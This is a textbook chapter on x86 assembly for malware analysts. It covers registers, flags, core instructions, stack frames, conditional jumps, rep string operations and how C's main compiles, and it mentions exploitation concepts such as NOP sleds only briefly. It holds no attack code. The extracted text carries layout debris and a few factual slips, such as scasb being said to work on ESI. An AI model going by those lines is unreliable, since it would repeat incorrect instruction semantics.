In traditional computer architecture, a computer system can be represented
as several levels of abstraction that create a way of hiding the implementation
details. For example, you can run the Windows OS on many different types
of hardware, because the underlying hardware is abstracted from the OS.
Figure 4-1 shows the three coding levels involved in malware analysis.
Malware authors create programs at the high-level language level and use a
compiler to generate machine code to be run by the CPU. Conversely, mal-
ware analysts and reverse engineers operate at the low-level language level;
we use a disassembler to generate assembly code that we can read and ana-
lyze to figure out how a program operates.
Figure 4-1: Code level examples
Figure 4-1 shows a simplified model, but computer systems are generally
described with the following six different levels of abstraction. We list these
levels starting from the bottom. Higher levels of abstraction are placed near
the top with more specific concepts underneath, so the lower you get, the
less portable the level will be across computer systems.
Hardware
The hardware level, the only physical level, consists of elec-
trical circuits that implement complex combinations of logical operators
such as XOR, AND, OR, and NOT gates, known as digital logic. Because
of its physical nature, hardware cannot be easily manipulated by software.
Microcode
The microcode level is also known as firmware. Microcode
operates only on the exact circuitry for which it was designed. It contains
microinstructions that translate from the higher machine-code level to
provide a way to interface with the hardware. When performing malware
analysis, we usually don’t worry about the microcode because it is often
specific to the computer hardware for which it was written.
CPU
Machine Code
Malware Author
High-Level Language
int c;
printf("Hello.\n");
exit(0);
55
8B EC
8B EC 40
Malware Analyst
Low-Level Language
push ebp
move ebp, esp
sub esp, 0x40
Compiler
Disassembler
A Crash Course in x86 Disassembly
67
Machine code
The machine code level consists of opcodes, hexadecimal
digits that tell the processor what you want it to do. Machine code is typi-
cally implemented with several microcode instructions so that the under-
lying hardware can execute the code. Machine code is created when a
computer program written in a high-level language is compiled.
Low-level languages
A low-level language is a human-readable version
of a computer architecture’s instruction set. The most common low-level
language is assembly language. Malware analysts operate at the low-level
languages level because the machine code is too difficult for a human to
comprehend. We use a disassembler to generate low-level language text,
which consists of simple mnemonics such as mov and jmp. Many different
dialects of assembly language exist, and we’ll explore each in turn.
NOTE
Assembly is the highest level language that can be reliably and consistently recovered
from machine code when high-level language source code is not available.
High-level languages
Most computer programmers operate at the level
of high-level languages. High-level languages provide strong abstraction
from the machine level and make it easy to use programming logic and
flow-control mechanisms. High-level languages include C, C++, and oth-
ers. These languages are typically turned into machine code by a com-
piler through a process known as compilation.
Interpreted languages
Interpreted languages are at the top level. Many
programmers use interpreted languages such as C#, Perl, .NET, and
Java. The code at this level is not compiled into machine code; instead,
it is translated into bytecode. Bytecode is an intermediate representation
that is specific to the programming language. Bytecode executes within
an interpreter, which is a program that translates bytecode into executable
machine code on the fly at runtime. An interpreter provides an auto-
matic level of abstraction when compared to traditional compiled code,
because it can handle errors and memory management on its own, inde-
pendent of the OS.
Reverse-Engineering
When malware is stored on a disk, it is typically in binary form at the machine
code level. As discussed, machine code is the form of code that the computer
can run quickly and efficiently. When we disassemble malware (as shown in
Figure 4-1), we take the malware binary as input and generate assembly lan-
guage code as output, usually with a disassembler. (Chapter 5 discusses the
most popular disassembler, IDA Pro.)
Assembly language is actually a class of languages. Each assembly dialect
is typically used to program a single family of microprocessors, such as x86,
x64, SPARC, PowerPC, MIPS, and ARM. x86 is by far the most popular archi-
tecture for PCs.
68
Chapter 4
Most 32-bit personal computers are x86, also known as Intel IA-32, and
all modern 32-bit versions of Microsoft Windows are designed to run on the
x86 architecture. Additionally, most AMD64 or Intel 64 architectures running
Windows support x86 32-bit binaries. For this reason, most malware is com-
piled for x86, which will be our focus throughout this book. (Chapter 21 cov-
ers malware compiled for the Intel 64 architecture.) Here, we’ll focus on the
x86 architecture aspects that come up most often during malware analysis.
NOTE
For additional information about assembly, Randall Hyde’s The Art of Assembly
Language, 2nd Edition (No Starch Press, 2010) is an excellent resource. Hyde’s book
offers a patient introduction to x86 assembly for non-assembly programmers.
The x86 Architecture
The internals of most modern computer architectures (including x86) fol-
low the Von Neumann architecture, illustrated in Figure 4-2. It has three
hardware components:
The central processing unit (CPU) executes code.
The main memory of the system (RAM) stores all data and code.
An input/output system (I/O) interfaces with devices such as hard drives,
keyboards, and monitors.
Figure 4-2: Von Neumann architecture
As you can see in Figure 4-2, the CPU contains several components:
The control unit gets instructions to execute from RAM using a register (the
instruction pointer), which stores the address of the instruction to execute.
Registers are the CPU’s basic data storage units and are often used to save
time so that the CPU doesn’t need to access RAM. The arithmetic logic unit
(ALU) executes an instruction fetched from RAM and places the results in
registers or memory. The process of fetching and executing instruction after
instruction is repeated as a program runs.
CPU
Registers
ALU
Control
Unit
Input/Output Devices
Main
Memory
(RAM)
A Crash Course in x86 Disassembly
69
Main Memory
The main memory (RAM) for a single program can be divided into the fol-
lowing four major sections, as shown in Figure 4-3.
Figure 4-3: Basic memory layout for a program
Data
This term can be used to refer to a specific section of memory
called the data section, which contains values that are put in place when a
program is initially loaded. These values are sometimes called static val-
ues because they may not change while the program is running, or they
may be called global values because they are available to any part of the
program.
Code
Code includes the instructions fetched by the CPU to execute
the program’s tasks. The code controls what the program does and
how the program’s tasks will be orchestrated.
Heap
The heap is used for dynamic memory during program execution,
to create (allocate) new values and eliminate (free) values that the pro-
gram no longer needs. The heap is referred to as dynamic memory because
its contents can change frequently while the program is running.
Stack
The stack is used for local variables and parameters for functions,
and to help control program flow. We will cover the stack in depth later
in this chapter.
Although the diagram in Figure 4-3 shows the four major sections of
memory in a particular order, these pieces may be located throughout mem-
ory. For example, there is no guarantee that the stack will be lower than the
code or vice versa.
Instructions
Instructions are the building blocks of assembly programs. In x86 assembly,
an instruction is made of a mnemonic and zero or more operands. As shown in
Main
Memory
Stack
Heap
Code
Data
High Memory Address
Low Memory Address
70
Chapter 4
Table 4-1, the mnemonic is a word that identifies the instruction to execute,
such as mov, which moves data. Operands are typically used to identify infor-
mation used by the instruction, such as registers or data.
Opcodes and Endianness
Each instruction corresponds to opcodes (operation codes) that tell the CPU
which operation the program wants to perform. This book and other sources
use the term opcode for the entire machine instruction, although Intel techni-
cally defines it much more narrowly.
Disassemblers translate opcodes into human-readable instructions. For
example, in Table 4-2, you can see that the opcodes are B9 42 00 00 00 for the
instruction mov ecx, 0x42. The value 0xB9 corresponds to mov ecx, and 0x42000000
corresponds to the value 0x42.
0x42000000 is treated as the value 0x42 because the x86 architecture uses
the little-endian format. The endianness of data describes whether the most
significant (big-endian) or least significant (little-endian) byte is ordered
first (at the smallest address) within a larger data item. Changing between
endianness is something malware must do during network communication,
because network data uses big-endian and an x86 program uses little-endian.
Therefore, the IP address 127.0.0.1 will be represented as 0x7F000001 in big-
endian format (over the network) and 0x0100007F in little-endian format
(locally in memory). As a malware analyst, you must be cognizant of endian-
ness to ensure you don’t accidentally reverse the order of important indica-
tors like an IP address.
Operands
Operands are used to identify the data used by an instruction. Three types of
operands can be used:
Immediate operands are fixed values, such as the 0x42 shown in Table 4-1.
Register operands refer to registers, such as ecx in Table 4-1.
Memory address operands refer to a memory address that contains the
value of interest, typically denoted by a value, register, or equation
between brackets, such as [eax].
Table 4-1: Instruction Format
Mnemonic
Destination operand
Source operand
mov
ecx
0x42
Table 4-2: Instruction Opcodes
Instruction
mov ecx,
0x42
Opcodes
B9
42 00 00 00
A Crash Course in x86 Disassembly
71
Registers
A register is a small amount of data storage available to the CPU, whose con-
tents can be accessed more quickly than storage available elsewhere. x86 pro-
cessors have a collection of registers available for use as temporary storage or
workspace. Table 4-3 shows the most common x86 registers, which fall into
the following four categories:
General registers are used by the CPU during execution.
Segment registers are used to track sections of memory.
Status flags are used to make decisions.
Instruction pointers are used to keep track of the next instruction to execute.
You can use Table 4-3 as a reference throughout this chapter to see how
a register is categorized and broken down. The sections that follow discuss
each of these register categories in depth.
All general registers are 32 bits in size and can be referenced as either
32 or 16 bits in assembly code. For example, EDX is used to reference the
full 32-bit register, and DX is used to reference the lower 16 bits of the EDX
register.
Four registers (EAX, EBX, ECX, and EDX) can also be referenced as 8-
bit values using the lowest 8 bits or the second set of 8 bits. For example, AL
is used to reference the lowest 8 bits of the EAX register, and AH is used to
reference the second set of 8 bits.
Table 4-3 lists the possible references for each general register. The
EAX register breakdown is illustrated in Figure 4-4. In this example, the
32-bit (4-byte) register EAX contains the value 0xA9DC81F5, and code can
reference the data inside EAX in three additional ways: AX (2 bytes) is
0x81F5, AL (1 byte) is 0xF5, and AH (1 byte) is 0x81.
General Registers
The general registers typically store data or memory addresses, and are often
used interchangeably to get things accomplished within the program. How-
ever, despite being called general registers, they aren’t always used that way.
Table 4-3: The x86 Registers
General registers
Segment registers
Status register
Instruction pointer
EAX (AX, AH, AL)
CS
EFLAGS
EIP
EBX (BX, BH, BL)
SS
ECX (CX, CH, CL)
DS
EDX (DX, DH, DL)
ES
EBP (BP)
FS
ESP (SP)
GS
ESI (SI)
72
Chapter 4
Figure 4-4: x86 EAX register breakdown
Some x86 instructions use specific registers by definition. For example,
the multiplication and division instructions always use EAX and EDX.
In addition to instruction definitions, general registers can be used in a
consistent fashion throughout a program. The use of registers in a consistent
fashion across compiled code is known as a convention. Knowledge of the
conventions used by compilers allows a malware analyst to examine the
code more quickly, because time isn’t wasted figuring out the context of
how a register is being used. For example, the EAX generally contains the
return value for function calls. Therefore, if you see the EAX register used
immediately after a function call, you are probably seeing the code manipu-
late the return value.
Flags
The EFLAGS register is a status register. In the x86 architecture, it is 32 bits
in size, and each bit is a flag. During execution, each flag is either set (1) or
cleared (0) to control CPU operations or indicate the results of a CPU oper-
ation. The following flags are most important to malware analysis:
ZF
The zero flag is set when the result of an operation is equal to zero;
otherwise, it is cleared.
CF
The carry flag is set when the result of an operation is too large or
too small for the destination operand; otherwise, it is cleared.
SF
The sign flag is set when the result of an operation is negative or
cleared when the result is positive. This flag is also set when the most sig-
nificant bit is set after an arithmetic operation.
TF
The trap flag is used for debugging. The x86 processor will execute
only one instruction at a time if this flag is set.
EAX
1010
1001
1101
1100
1000
0001
1111
0101
A
9
D
C
8
1
F
5
32 bits
AX
1000
0001
1111
0101
8
1
F
5
16 bits
AH
1000
0001
8
1
AL
1111
0101
F
5
8 bits
Binary
Hex
A Crash Course in x86 Disassembly
73
NOTE
For details on all available flags, see Volume 1 of the Intel 64 and IA-32 Architec-
tures Software Developer’s Manuals, discussed at the end of this chapter.
EIP, the Instruction Pointer
In x86 architecture, EIP, also known as the instruction pointer or program counter,
is a register that contains the memory address of the next instruction to be
executed for a program. EIP’s only purpose is to tell the processor what to
do next.
NOTE
When EIP is corrupted (that is, it points to a memory address that does not contain
legitimate program code), the CPU will not be able to fetch legitimate code to execute, so
the program running at the time will likely crash. When you control EIP, you can con-
trol what is executed by the CPU, which is why attackers attempt to gain control of EIP
through exploitation. Generally, attackers must have attack code in memory and then
change EIP to point to that code to exploit a system.
Simple Instructions
The simplest and most common instruction is mov, which is used to move data
from one location to another. In other words, it’s the instruction for reading
and writing to memory. The mov instruction can move data into registers or
RAM. The format is mov destination, source. (We use Intel syntax throughout
the book, which lists the destination operand first.)
Table 4-4 contains examples of the mov instruction. Operands surrounded
by brackets are treated as memory references to data. For example, [ebx] ref-
erences the data at the memory address EBX. The final example in Table 4-4
uses an equation to calculate a memory address. This saves space, because it
does not require separate instructions to perform the calculation contained
within the brackets. Performing calculations such as this within an instruction
is not possible unless you are calculating a memory address. For example,
mov eax, ebx+esi*4 (without the brackets) is an invalid instruction.
Another instruction similar to mov is lea, which means “load effective
address.” The format of the instruction is lea destination, source. The lea
instruction is used to put a memory address into the destination. For example,
lea eax, [ebx+8] will put EBX+8 into EAX. In contrast, mov eax, [ebx+8] loads
Table 4-4: mov Instruction Examples
Instruction
Description
mov eax, ebx
Copies the contents of EBX into the EAX register
mov eax, 0x42
Copies the value 0x42 into the EAX register
mov eax, [0x4037C4]
Copies the 4 bytes at the memory location 0x4037C4 into the EAX
register
mov eax, [ebx]
Copies the 4 bytes at the memory location specified by the EBX
register into the EAX register
mov eax, [ebx+esi*4]
Copies the 4 bytes at the memory location specified by the result of
the equation ebx+esi*4 into the EAX register
74
Chapter 4
the data at the memory address specified by EBX+8. Therefore, lea eax, [ebx+8]
would be the same as mov eax, ebx+8; however, a mov instruction like that is
invalid.
Figure 4-5 shows values for registers EAX and EBX on the left and the
information contained in memory on the right. EBX is set to 0xB30040. At
address 0xB30048 is the value 0x20. The instruction mov eax, [ebx+8] places
the value 0x20 (obtained from memory) into EAX, and the instruction lea
eax, [ebx+8] places the value 0xB30048 into EAX.
Figure 4-5: EBX register used to access memory
The lea instruction is not used exclusively to refer to memory addresses.
It is useful when calculating values, because it requires fewer instructions.
For example, it is common to see an instruction such as lea ebx, [eax*5+5],
where eax is a number, rather than a memory address. This instruction is the
functional equivalent of ebx = (eax+1)*5, but the former is shorter or more
efficient for the compiler to use instead of a total of four instructions (for
example inc eax; mov ecx, 5; mul ecx; mov ebx, eax).
Arithmetic
x86 assembly includes many instructions for arithmetic, ranging from basic
addition and subtraction to logical operators. We’ll cover the most com-
monly used instructions in this section.
Addition or subtraction adds or subtracts a value from a destination
operand. The format of the addition instruction is add destination, value.
The format of the subtraction instruction is sub destination, value. The sub
instruction modifies two important flags: the zero flag (ZF) and carry flag
(CF). The ZF is set if the result is zero, and CF is set if the destination is less
than the value subtracted. The inc and dec instructions increment or decre-
ment a register by one. Table 4-5 shows examples of the addition and sub-
traction instructions.
Table 4-5: Addition and Subtraction Instruction Examples
Instruction
Description
sub eax, 0x10
Subtracts 0x10 from EAX
add eax, ebx
Adds EBX to EAX and stores the result in EAX
inc edx
Increments EDX by 1
dec ecx
Decrements ECX by 1
Memory
Registers
EAX = 0x00000000
0x00000000
0x63676862
0x00000020
0x41414141
0x00B30040
0x00B30044
0x00B30048
0x00B3004C
EBX = 0x00B30040
A Crash Course in x86 Disassembly
75
Multiplication and division both act on a predefined register, so the
command is simply the instruction, plus the value that the register will be
multiplied or divided by. The format of the mul instruction is mul value. Simi-
larly, the format of div instruction is div value. The assignment of the register
on which a mul or div instruction acts can occur many instructions earlier, so
you might need to search through a program to find it.
The mul value instruction always multiplies eax by value. Therefore, EAX
must be set up appropriately before the multiplication occurs. The result is
stored as a 64-bit value across two registers: EDX and EAX. EDX stores the
most significant 32 bits of the operations, and EAX stores the least significant
32 bits. Figure 4-6 depicts the values in EDX and EAX when the decimal result
of multiplication is 5,000,000,000 and is too large to fit in a single register.
A programmer obtains the remainder of a division operation by using an
operation known as modulo, which will be compiled into assembly through
the use of the EDX register after the div instruction (since it contains the
remainder). Table 4-6 shows examples of the mul and div instructions. The
instructions imul and idiv are the signed versions of the mul and div instructions.
Logical operators such as OR, AND, and XOR are used in x86 archi-
tecture. The corresponding instructions operate similar to how add and sub
operate. They perform the specified operation between the source and desti-
nation operands and store the result in the destination. The xor instruction is
frequently encountered in disassembly. For example, xor eax, eax is a quick
way to set the EAX register to zero. This is done for optimization, because
this instruction requires only 2 bytes, whereas mov eax, 0 requires 5 bytes.
The shr and shl instructions are used to shift registers. The format of the
shr instruction is shr destination, count, and the shl instruction has the same
format. The shr and shl instructions shift the bits in the destination operand
to the right and left, respectively, by the number of bits specified in the count
operand. Bits shifted beyond the destination boundary are first shifted into
the CF flag. Zero bits are filled in during the shift. For example, if you have the
The div value instruction does the
same thing as mul, except in the oppo-
site direction: It divides the 64 bits
across EDX and EAX by value. There-
fore, the EDX and EAX registers must
be set up appropriately before the divi-
sion occurs. The result of the division
operation is stored in EAX, and the
remainder is stored in EDX.
Figure 4-6: Multiplication result stored
across EDX and EAX registers
Table 4-6: Multiplication and Division Instruction Examples
Instruction
Description
mul 0x50
Multiplies EAX by 0x50 and stores the result in EDX:EAX
div 0x75
Divides EDX:EAX by 0x75 and stores the result in EAX and the remainder in EDX
5,000,000,000
00000001
2A05F200
EDX
EAX
Decimal
Hex
76
Chapter 4
binary value 1000 and shift it right by 1, the result is 0100. At the end of the
shift instruction, the CF flag contains the last bit shifted out of the destina-
tion operand.
The rotation instructions, ror and rol, are similar to the shift instructions,
except the shifted bits that “fall off” with the shift operation are rotated to
the other end. In other words, during a right rotation (ror) the least signifi-
cant bits are rotated to the most significant position. Left rotation (rol) is the
exact opposite. Table 4-7 displays examples of these instructions.
Shifting is often used in place of multiplication as an optimization. Shift-
ing is simpler and faster than multiplication, because you don’t need to set
up registers and move data around, as you do for multiplication. The shl eax,
1 instruction computes the same result as multiplying EAX by two. Shifting to
the left two bit positions multiplies the operand by four, and shifting to the
left three bit positions multiplies the operand by eight. Shifting an operand
to the left n bits multiplies it by 2n.
During malware analysis, if you encounter a function containing only
the instructions xor, or, and, shl, ror, shr, or rol repeatedly and seemingly ran-
domly, you have probably encountered an encryption or compression func-
tion. Don’t get bogged down trying to analyze each instruction unless you
really need to do so. Instead, your best bet in most cases is to mark this as an
encryption routine and move on.
NOP
The final simple instruction, nop, does nothing. When it’s issued, execution
simply proceeds to the next instruction. The instruction nop is actually a
pseudonym for xhcg eax, eax, but since exchanging EAX with itself does
nothing, it is popularly referred to as NOP (no operation).
The opcode for this instruction is 0x90. It is commonly used in a NOP
sled for buffer overflow attacks, when attackers don’t have perfect control of
their exploitation. It provides execution padding, which reduces the risk that
the malicious shellcode will start executing in the middle, and therefore mal-
function. We discuss nop sleds and shellcode in depth in Chapter 19.
Table 4-7: Common Logical and Shifting Arithmetic Instructions
Instruction
Description
xor eax, eax
Clears the EAX register
or eax, 0x7575
Performs the logical or operation on EAX with 0x7575
mov eax, 0xA
shl eax, 2
Shifts the EAX register to the left 2 bits; these two instructions result in
EAX = 0x28, because 1010 (0xA in binary) shifted 2 bits left is
101000 (0x28)
mov bl, 0xA
ror bl, 2
Rotates the BL register to the right 2 bits; these two instructions result in
BL = 10000010, because 1010 rotated 2 bits right is 10000010
A Crash Course in x86 Disassembly
77
The Stack
Memory for functions, local variables, and flow control is stored in a stack,
which is a data structure characterized by pushing and popping. You push
items onto the stack, and then pop those items off. A stack is a last in, first out
(LIFO) structure. For example, if you push the numbers 1, 2, and then 3 (in
order), the first item to pop off will be 3, because it was the last item pushed
onto the stack.
The x86 architecture has built-in support for a stack mechanism. The
register support includes the ESP and EBP registers. ESP is the stack pointer
and typically contains a memory address that points to the top of stack. The
value of this register changes as items are pushed on and popped off the stack.
EBP is the base pointer that stays consistent within a given function, so that
the program can use it as a placeholder to keep track of the location of local
variables and parameters.
The stack instructions include push, pop, call, leave, enter, and ret. The
stack is allocated in a top-down format in memory, and the highest addresses
are allocated and used first. As values are pushed onto the stack, smaller
addresses are used (this is illustrated a bit later in Figure 4-7).
The stack is used for short-term storage only. It frequently stores local
variables, parameters, and the return address. Its primary usage is for the
management of data exchanged between function calls. The implementa-
tion of this management varies among compilers, but the most common con-
vention is for local variables and parameters to be referenced relative to EBP.
Function Calls
Functions are portions of code within a program that perform a specific task
and that are relatively independent of the remaining code. The main code
calls and temporarily transfers execution to functions before returning to the
main code. How the stack is utilized by a program is consistent throughout a
given binary. For now, we will focus on the most common convention, known
as cdecl. In Chapter 6 we will explore alternatives.
Many functions contain a prologue—a few lines of code at the start of
the function. The prologue prepares the stack and registers for use within the
function. In the same vein, an epilogue at the end of a function restores the
stack and registers to their state before the function was called.
The following list summarizes the flow of the most common implementa-
tion for function calls. A bit later, Figure 4-8 shows a diagram of the stack lay-
out for an individual stack frame, which clarifies the organization of stacks.
1.
Arguments are placed on the stack using push instructions.
2.
A function is called using call memory_location. This causes the current
instruction address (that is, the contents of the EIP register) to be
pushed onto the stack. This address will be used to return to the main
code when the function is finished. When the function begins, EIP is set
to memory_location (the start of the function).
78
Chapter 4
3.
Through the use of a function prologue, space is allocated on the stack
for local variables and EBP (the base pointer) is pushed onto the stack.
This is done to save EBP for the calling function.
4.
The function performs its work.
5.
Through the use of a function epilogue, the stack is restored. ESP is
adjusted to free the local variables, and EBP is restored so that the call-
ing function can address its variables properly. The leave instruction can
be used as an epilogue because it sets ESP to equal EBP and pops EBP off
the stack.
6.
The function returns by calling the ret instruction. This pops the return
address off the stack and into EIP, so that the program will continue exe-
cuting from where the original call was made.
7.
The stack is adjusted to remove the arguments that were sent, unless
they’ll be used again later.
Stack Layout
As discussed, the stack is allocated in a top-down fashion, with the higher
memory addresses used first. Figure 4-7 shows how the stack is laid out in
memory. Each time a call is performed, a new stack frame is generated. A
function maintains its own stack frame until it returns, at which time the
caller’s stack frame is restored and execution is transferred back to the call-
ing function.
Figure 4-7: x86 stack layout
Figure 4-8 shows a dissection of one of the individual stack frames from
Figure 4-7. The memory locations of individual items are also displayed. In
this diagram, ESP would point to the top of the stack, which is the memory
address 0x12F02C. EBP would be set to 0x12F03C throughout the duration
of the function, so that the local variables and arguments can be referenced
using EBP. The arguments that are pushed onto the stack before the call are
Low Memory Address
Current Stack Frame
Caller’s Stack Frame
Caller’s Caller’s Stack Frame
High Memory Address
The stack grows
up toward 0
A Crash Course in x86 Disassembly
79
shown at the bottom of the stack frame. Next, it contains the return address
that is put on the stack automatically by the call instruction. The old EBP is
next on the stack; this is the EBP from the caller’s stack frame.
When information is pushed onto the stack, ESP will be decreased. In
the example in Figure 4-8, if the instruction push eax were executed, ESP
would be decremented by four and would contain 0x12F028, and the data
contained in EAX would be copied to 0x12F028. If the instruction pop ebx
were executed, the data at 0x12F028 would be moved into the EBX register,
and then ESP would be incremented by four.
Figure 4-8: Individual stack frame
It is possible to read data from the stack without using the push or pop
instructions. For example, the instruction mov eax, ss:[esp] will directly access
the top of the stack. This is identical to pop eax, except the ESP register is not
impacted. The convention used depends on the compiler and how the com-
piler is configured. (We discuss this in more detail in Chapter 6.)
The x86 architecture provides additional instructions for popping and
pushing, the most popular of which are pusha and pushad. These instructions
push all the registers onto the stack and are commonly used with popa and
popad, which pop all the registers off the stack. The pusha and pushad functions
operate as follows:
pusha pushes the 16-bit registers on the stack in the following order: AX,
CX, DX, BX, SP, BP, SI, DI.
pushad pushes the 32-bit registers on the stack in the following order:
EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI.
Low Memory Address
Current Stack Frame
Caller’s Stack Frame
Caller’s Caller’s Stack Frame
High Memory Address
0012F000
0012F004
0012F008
0012F00C
0012F010
0012F014
0012F018
0012F01C
0012F020
0012F024
0012F028
0012F02C
0012F030
0012F034
0012F038
0012F03C
0012F040
0012F044
0012F048
0012F04C
0012F050
Local Variable N
Local Variable 2
Local Variable 1
Old EBP
Return Address
Argument 1
Argument 2
...
...
Argument N
ESP
EBP
80
Chapter 4
These instructions are typically encountered in shellcode when someone
wants to save the current state of the registers to the stack so that they can be
restored at a later time. Compilers rarely use these instructions, so seeing
them often indicates someone hand-coded assembly and/or shellcode.
Conditionals
All programming languages have the ability to make comparisons and make
decisions based on those comparisons. Conditionals are instructions that per-
form the comparison.
The two most popular conditional instructions are test and cmp. The test
instruction is identical to the and instruction; however, the operands involved
are not modified by the instruction. The test instruction only sets the flags.
The zero flag (ZF) is typically the flag of interest after the test instruction. A
test of something against itself is often used to check for NULL values. An
example of this is test eax, eax. You could also compare EAX to zero, but
test eax, eax uses fewer bytes and fewer CPU cycles.
The cmp instruction is identical to the sub instruction; however, the oper-
ands are not affected. The cmp instruction is used only to set the flags. The
zero flag and carry flag (CF) may be changed as a result of the cmp instruc-
tion. Table 4-8 shows how the cmp instruction impacts the flags.
Branching
A branch is a sequence of code that is conditionally executed depending on
the flow of the program. The term branching is used to describe the control
flow through the branches of a program.
The most popular way branching occurs is with jump instructions. An
extensive set of jump instructions is used, of which the jmp instruction is the
simplest. The format jmp location causes the next instruction executed to be
the one specified by the jmp. This is known as an unconditional jump, because
execution will always transfer to the target location. This simple jump will not
satisfy all of your branching needs. For example, the logical equivalent to an
if statement isn’t possible with a jmp. There is no if statement in assembly
code. This is where conditional jumps come in.
Conditional jumps use the flags to determine whether to jump or to
proceed to the next instruction. More than 30 different types of conditional
jumps can be used, but only a small set of them is commonly encountered.
Table 4-8: cmp Instruction and Flags
cmp dst, src
ZF
CF
dst = src
1
0
dst < src
0
1
dst > src
0
0
A Crash Course in x86 Disassembly
81
Table 4-9 shows the most common conditional jump instructions and details
of how they operate. Jcc is the shorthand for generally describing conditional
jumps.
Rep Instructions
Rep instructions are a set of instructions for manipulating data buffers. They
are usually in the form of an array of bytes, but they can also be single or
double words. We will focus on arrays of bytes in this section. (Intel refers
to these instructions as string instructions, but we won’t use this term to avoid
confusion with the strings we discussed in Chapter 1.)
The most common data buffer manipulation instructions are movsx,
cmpsx, stosx, and scasx, where x = b, w, or d for byte, word, or double word,
respectively. These instructions work with any type of data, but our focus in
this section will be bytes, so we will use movsb, cmpsb, and so on.
The ESI and EDI registers are used in these operations. ESI is the source
index register, and EDI is the destination index register. ECX is used as the
counting variable.
These instructions require a prefix to operate on data lengths greater
than 1. The movsb instruction will move only a single byte and does not utilize
the ECX register.
Table 4-9: Conditional Jumps
Instruction
Description
jz loc
Jump to specified location if ZF = 1.
jnz loc
Jump to specified location if ZF = 0.
je loc
Same as jz, but commonly used after a cmp instruction. Jump will occur if the
destination operand equals the source operand.
jne loc
Same as jnz, but commonly used after a cmp. Jump will occur if the destination
operand is not equal to the source operand.
jg loc
Performs signed comparison jump after a cmp if the destination operand is
greater than the source operand.
jge loc
Performs signed comparison jump after a cmp if the destination operand is
greater than or equal to the source operand.
ja loc
Same as jg, but an unsigned comparison is performed.
jae loc
Same as jge, but an unsigned comparison is performed.
jl loc
Performs signed comparison jump after a cmp if the destination operand is less
than the source operand.
jle loc
Performs signed comparison jump after a cmp if the destination operand is less
than or equal to the source operand.
jb loc
Same as jl, but an unsigned comparison is performed.
jbe loc
Same as jle, but an unsigned comparison is performed.
jo loc
Jump if the previous instruction set the overflow flag (OF = 1).
js loc
Jump if the sign flag is set (SF = 1).
jecxz loc
Jump to location if ECX = 0.
82
Chapter 4
In x86, the repeat prefixes are used for multibyte operations. The rep
instruction increments the ESI and EDI offsets, and decrements the ECX
register. The rep prefix will continue until ECX = 0. The repe/repz and repne/
repnz prefixes will continue until ECX = 0 or until the ZF = 1 or 0. This is illus-
trated in Table 4-10. Therefore, in most data buffer manipulation instruc-
tions, ESI, EDI, and ECX must be properly initialized for the rep instruction
to be useful.
The movsb instruction is used to move a sequence of bytes from one
location to another. The rep prefix is commonly used with movsb to copy a
sequence of bytes, with size defined by ECX. The rep movsb instruction is the
logical equivalent of the C memcpy function. The movsb instruction grabs the byte
at address ESI, stores it at address EDI, and then increments or decrements the
ESI and EDI registers by one according to the setting of the direction flag (DF).
If DF = 0, they are incremented; otherwise, they are decremented.
You rarely see this in compiled C code, but in shellcode, people will
sometimes flip the direction flag so they can store data in the reverse direc-
tion. If the rep prefix is present, the ECX is checked to see if it contains zero.
If not, then the instruction moves the byte from ESI to EDI and decrements
the ECX register. This process repeats until ECX = 0.
The cmpsb instruction is used to compare two sequences of bytes to deter-
mine whether they contain the same data. The cmpsb instruction subtracts the
value at location EDI from the value at ESI and updates the flags. It is typi-
cally used with the repe prefix. When coupled with the repe prefix, the cmpsb
instruction compares each byte of the two sequences until it finds a differ-
ence between the sequences or reaches the end of the comparison. The cmpsb
instruction obtains the byte at address ESI, compares the value at location
EDI to set the flags, and then increments the ESI and EDI registers by one. If
the repe prefix is present, ECX is checked and the flags are also checked, but
if ECX = 0 or ZF = 0, the operation will stop repeating. This is equivalent to
the C function memcmp.
The scasb instruction is used to search for a single value in a sequence of
bytes. The value is defined by the AL register. This works in the same way as
cmpsb, but it compares the byte located at address ESI to AL, rather than to
EDI. The repe operation will continue until the byte is found or ECX = 0. If
the value is found in the sequence of bytes, ESI stores the location of that
value.
Table 4-10: rep Instruction Termination Requirements
Instruction
Description
rep
Repeat until ECX = 0
repe, repz
Repeat until ECX = 0 or ZF = 0
repne, repnz
Repeat until ECX = 0 or ZF = 1
A Crash Course in x86 Disassembly
83
The stosb instruction is used to store values in a location specified by
EDI. This is identical to scasb, but instead of being searched for, the specified
byte is placed in the location specified by EDI. The rep prefix is used with
scasb to initialize a buffer of memory, wherein every byte contains the same
value. This is equivalent to the C function memset. Table 4-11 displays some
common rep instructions and describes their operation.
C Main Method and Offsets
Because malware is often written in C, it’s important that you know how the
main method of a C program translates to assembly. This knowledge will also
help you understand how offsets differ when you go from C code to assembly.
A standard C program has two arguments for the main method, typically
in this form:
int main(int argc, char ** argv)
The parameters argc and argv are determined at runtime. The argc
parameter is an integer that contains the number of arguments on the
command line, including the program name. The argv parameter is a
pointer to an array of strings that contain the command-line arguments.
The following example shows a command-line program and the results of
argc and argv when the program is run.
filetestprogram.exe -r filename.txt
argc = 3
argv[0] = filetestprogram.exe
argv[1] = -r
argv[2] = filename.txt
Table 4-11: rep Instruction Examples
Instruction
Description
repe cmpsb
Used to compare two data buffers. EDI and ESI must be set to the two buffer
locations, and ECX must be set to the buffer length. The comparison will
continue until ECX = 0 or the buffers are not equal.
rep stosb
Used to initialize all bytes of a buffer to a certain value. EDI will contain the
buffer location, and AL must contain the initialization value. This instruction is
often seen used with xor eax, eax.
rep movsb
Typically used to copy a buffer of bytes. ESI must be set to the source buffer
address, EDI must be set to the destination buffer address, and ECX must
contain the length to copy. Byte-by-byte copy will continue until ECX = 0.
repne scasb
Used for searching a data buffer for a single byte. EDI must contain the
address of the buffer, AL must contain the byte you are looking for, and ECX
must be set to the buffer length. The comparison will continue until ECX = 0 or
until the byte is found.
84
Chapter 4
Listing 4-1 shows the C code for a simple program.
int main(int argc, char* argv[])
{
if (argc != 3) {return 0;}
if (strncmp(argv[1], "-r", 2) == 0){
DeleteFileA(argv[2]);
}
return 0;
}
Listing 4-1: C code, main method example
Listing 4-2 shows the C code from Listing 4-1 in compiled form. This
example will help you understand how the parameters listed in Table 4-12
are accessed in assembly code. argc is compared to 3 at , and argv[1] is com-
pared to -r at through the use of a strncmp. Notice how argv[1] is accessed:
First the location of the beginning of the array is loaded into eax, and then 4
(the offset) is added to eax to get argv[1]. The number 4 is used because each
entry in the argv array is an address to a string, and each address is 4 bytes in
size on a 32-bit system. If -r is provided on the command line, the code start-
ing at will be executed, which is when we see argv[2] accessed at offset 8
